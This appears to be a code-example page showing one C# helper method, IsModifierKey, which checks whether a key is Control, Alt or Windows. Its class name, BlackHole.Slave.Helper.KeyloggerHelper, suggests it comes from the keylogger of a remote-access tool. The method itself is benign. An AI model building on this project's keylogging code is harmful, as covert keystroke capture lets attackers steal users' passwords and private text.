BlackHole.Slave.Helper.KeyloggerHelper.IsModifierKey C# (CSharp) Method

IsModifierKey() public static method

public static IsModifierKey ( this key ) : bool
key this
return bool
        public static bool IsModifierKey(this Keys key) =>
            key == Keys.LControlKey
            || key == Keys.RControlKey
            || key == Keys.LMenu
            || key == Keys.RMenu
            || key == Keys.LWin
            || key == Keys.RWin
            || key == Keys.Control
            || key == Keys.Alt;